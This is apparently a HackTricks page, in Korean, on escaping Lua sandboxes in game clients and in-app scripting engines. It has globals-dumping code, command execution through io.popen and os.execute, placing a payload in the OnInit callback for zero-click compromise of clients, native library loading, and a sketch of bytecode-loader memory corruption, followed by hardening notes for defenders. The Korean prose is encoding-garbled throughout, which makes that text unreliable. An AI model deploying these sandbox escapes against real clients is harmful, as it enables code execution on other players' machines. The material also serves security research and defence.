Bypass Lua sandboxes (embedded VMs, game clients)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํŠนํžˆ game clients, plugins, ๋˜๋Š” in-app scripting engines)์— ๋‚ด์žฅ๋œ Lua โ€œsandboxesโ€œ๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ํƒˆ์ถœํ•˜๋Š” ์‹ค์šฉ์ ์ธ ๊ธฐ๋ฒ•๋“ค์„ ๋ชจ์•„๋‘ก๋‹ˆ๋‹ค. ๋งŽ์€ ์—”์ง„์ด ์ œํ•œ๋œ Lua ํ™˜๊ฒฝ์„ ๋…ธ์ถœํ•˜์ง€๋งŒ, ๋ฐ”์ดํŠธ์ฝ”๋“œ ๋กœ๋”๊ฐ€ ๋…ธ์ถœ๋˜๋Š” ๊ฒฝ์šฐ ์ž„์˜ ๋ช…๋ น ์‹คํ–‰์ด๋‚˜ ๋„ค์ดํ‹ฐ๋ธŒ ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ๊นŒ์ง€ ๊ฐ€๋Šฅํ•œ ๊ฐ•๋ ฅํ•œ globals์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ๋‚จ๊ฒจ๋‘๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

Key ideas:

  • VM์„ ์•Œ ์ˆ˜ ์—†๋Š” ํ™˜๊ฒฝ์œผ๋กœ ์ทจ๊ธ‰ํ•˜์„ธ์š”: _G๋ฅผ ์—ด๊ฑฐํ•˜์—ฌ ์–ด๋–ค ์œ„ํ—˜ํ•œ primitives์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • stdout/print์ด ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ, ๊ฒฐ๊ณผ๋ฅผ ๊ด€์ฐฐํ•˜๊ธฐ ์œ„ํ•ด in-VM UI/IPC ์ฑ„๋„์„ ์ถœ๋ ฅ ์‹ฑํฌ๋กœ ์•…์šฉํ•˜์„ธ์š”.
  • io/os๊ฐ€ ๋…ธ์ถœ๋˜์–ด ์žˆ์œผ๋ฉด, ๋ณดํ†ต ์ง์ ‘ ๋ช…๋ น ์‹คํ–‰(io.popen, os.execute)์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • load/loadstring/loadfile์ด ๋…ธ์ถœ๋˜์–ด ์žˆ์œผ๋ฉด, ์กฐ์ž‘๋œ Lua bytecode ์‹คํ–‰์œผ๋กœ ์ผ๋ถ€ ๋ฒ„์ „์—์„œ ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์ „์„ฑ์ด ๋ฌด๋„ˆ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (โ‰ค5.1์˜ verifier๋Š” ์šฐํšŒ ๊ฐ€๋Šฅ; 5.2๋Š” verifier๋ฅผ ์ œ๊ฑฐ), ์ด๋ฅผ ํ†ตํ•ด ๊ณ ๊ธ‰ ์ต์Šคํ”Œ๋กœ์ž‡์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

Enumerate the sandboxed environment

  • Dump the global environment to inventory reachable tables/functions:
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
  • print()์ด ์‚ฌ์šฉ ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฉด in-VM ์ฑ„๋„์„ ์žฌ์‚ฌ์šฉํ•˜์„ธ์š”. MMO housing script VM์˜ ์˜ˆ๋กœ, ์ฑ„ํŒ… ์ถœ๋ ฅ์€ ์‚ฌ์šด๋“œ ํ˜ธ์ถœ ์ดํ›„์—๋งŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค; ๋‹ค์Œ์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ถœ๋ ฅ ํ•จ์ˆ˜๋ฅผ ๊ตฌ์ถ•ํ•˜๋Š” ์˜ˆ์ž…๋‹ˆ๋‹ค:
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end

function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end

๋Œ€์ƒ์— ๋Œ€ํ•ด ์ด ํŒจํ„ด์„ ์ผ๋ฐ˜ํ™”ํ•˜๋ผ: ๋ฌธ์ž์—ด์„ ํ—ˆ์šฉํ•˜๋Š” ๋ชจ๋“  textbox, toast, logger, ๋˜๋Š” UI callback์€ reconnaissance๋ฅผ ์œ„ํ•œ stdout ์—ญํ• ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค.

io/os๊ฐ€ ๋…ธ์ถœ๋œ ๊ฒฝ์šฐ ์ง์ ‘์ ์ธ command execution

sandbox๊ฐ€ ์—ฌ์ „ํžˆ ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ธ io or os๋ฅผ ๋…ธ์ถœํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์•„๋งˆ ์ฆ‰์‹œ command execution์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์ด๋‹ค:

-- Windows example
io.popen("calc.exe")

-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")

์ฐธ๊ณ :

  • ์‹คํ–‰์€ client ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค; ์™ธ๋ถ€ ๋””๋ฒ„๊ฑฐ๋ฅผ ์ฐจ๋‹จํ•˜๋Š” ๋งŽ์€ anti-cheat/antidebug ๊ณ„์ธต์€ in-VM process ์ƒ์„ฑ์€ ๋ง‰์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.
  • ๋˜ํ•œ ํ™•์ธํ•  ๊ฒƒ: package.loadlib (์ž„์˜์˜ DLL/.so ๋กœ๋”ฉ), require with native modules, LuaJITโ€™s ffi (์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ), ๊ทธ๋ฆฌ๊ณ  debug library (VM ๋‚ด๋ถ€์—์„œ ๊ถŒํ•œ ์ƒ์Šน์„ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Œ).

Zero-click triggers via auto-run callbacks

ํ˜ธ์ŠคํŠธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด clients์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ‘ธ์‹œํ•˜๊ณ  VM์ด auto-run hooks๋ฅผ ๋…ธ์ถœํ•œ๋‹ค๋ฉด(์˜ˆ: OnInit/OnLoad/OnEnter), ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋กœ๋“œ๋˜์ž๋งˆ์ž drive-by compromise๋ฅผ ์œ„ํ•ด payload๋ฅผ ๊ทธ๊ณณ์— ๋ฐฐ์น˜ํ•˜์„ธ์š”:

function OnInit()
io.popen("calc.exe") -- or any command
end

Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.

Recon ๋™์•ˆ ์ฐพ์•„์•ผ ํ•  ์œ„ํ—˜ํ•œ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ

During _G enumeration, specifically look for:

  • io, os: io.popen, os.execute, ํŒŒ์ผ I/O, ํ™˜๊ฒฝ ์ ‘๊ทผ.
  • load, loadstring, loadfile, dofile: ์†Œ์Šค ๋˜๋Š” ๋ฐ”์ดํŠธ์ฝ”๋“œ ์‹คํ–‰; ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฐ”์ดํŠธ์ฝ”๋“œ ๋กœ๋”ฉ์„ ํ—ˆ์šฉ.
  • package, package.loadlib, require: ๋™์  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋กœ๋”ฉ ๋ฐ ๋ชจ๋“ˆ ์ธํ„ฐํŽ˜์ด์Šค.
  • debug: setfenv/getfenv (โ‰ค5.1), getupvalue/setupvalue, getinfo, ๋ฐ ํ›….
  • LuaJIT-only: ffi.cdef, ffi.load to call native code directly.

Minimal usage examples (if reachable):

-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2

-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())

-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()

์„ ํƒ์  ๊ถŒํ•œ ์ƒ์Šน: Lua bytecode ๋กœ๋” ์•…์šฉ

load/loadstring/loadfile๊ฐ€ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ io/os๊ฐ€ ์ œํ•œ๋œ ๊ฒฝ์šฐ, ์กฐ์ž‘๋œ Lua bytecode๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ ๋…ธ์ถœ ๋ฐ ์†์ƒ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์š” ๋‚ด์šฉ:

  • Lua โ‰ค 5.1์€ ์•Œ๋ ค์ง„ ์šฐํšŒ๊ฐ€ ์žˆ๋Š” bytecode verifier๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
  • Lua 5.2๋Š” verifier๋ฅผ ์™„์ „ํžˆ ์ œ๊ฑฐํ–ˆ์Šต๋‹ˆ๋‹ค(๊ณต์‹ ์ž…์žฅ: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ precompiled chunks๋ฅผ ๊ฑฐ๋ถ€ํ•ด์•ผ ํ•จ). ๋”ฐ๋ผ์„œ bytecode loading์ด ๊ธˆ์ง€๋˜์ง€ ์•Š์œผ๋ฉด ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด ๋„“์–ด์ง‘๋‹ˆ๋‹ค.
  • ์ผ๋ฐ˜์ ์ธ ์›Œํฌํ”Œ๋กœ: in-VM ์ถœ๋ ฅ์œผ๋กœ ํฌ์ธํ„ฐ๋ฅผ leakํ•œ ๋’ค, bytecode๋ฅผ ๋งŒ๋“ค์–ด type confusions(์˜ˆ: FORLOOP ์ฃผ๋ณ€์ด๋‚˜ ๋‹ค๋ฅธ opcodes ๊ด€๋ จ)๋ฅผ ์œ ๋ฐœํ•˜๊ณ , ๊ทธ๋‹ค์Œ arbitrary read/write๋‚˜ native code execution์œผ๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ฒฝ๋กœ๋Š” engine/version-specificํ•˜๋ฉฐ RE๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์‹ฌ์ธต ๋ถ„์„, exploitation primitives ๋ฐ ๊ฒŒ์ž„์—์„œ์˜ ์˜ˆ์ œ ๊ฐ€์ ฏ์€ ์ฐธ๊ณ ๋ฌธํ—Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”.

ํƒ์ง€ ๋ฐ ๊ฐ•ํ™” ๋…ธํŠธ (์ˆ˜๋น„์ž์šฉ)

  • Server side: ์‚ฌ์šฉ์ž ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ฑฐ๋ถ€ํ•˜๊ฑฐ๋‚˜ ์žฌ์ž‘์„ฑ; ์•ˆ์ „ํ•œ API๋ฅผ allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi๋ฅผ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ๋นˆ ๋ฐ”์ธ๋”ฉ์œผ๋กœ ๋Œ€์ฒด.
  • Client side: ์ตœ์†Œํ™”๋œ _ENV๋กœ Lua ์‹คํ–‰; bytecode loading ๊ธˆ์ง€; ์—„๊ฒฉํ•œ bytecode verifier ๋˜๋Š” ์„œ๋ช… ๊ฒ€์‚ฌ ์žฌ๋„์ž…; ํด๋ผ์ด์–ธํŠธ ํ”„๋กœ์„ธ์Šค์—์„œ์˜ ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ ์ฐจ๋‹จ.
  • Telemetry: script load ์งํ›„ gameclient โ†’ ์ž์‹ ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ์— ๋Œ€ํ•ด ๊ฒฝ๋ณด; UI/chat/script ์ด๋ฒคํŠธ์™€ ์ƒ๊ด€๊ด€๊ณ„ ๋ถ„์„.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ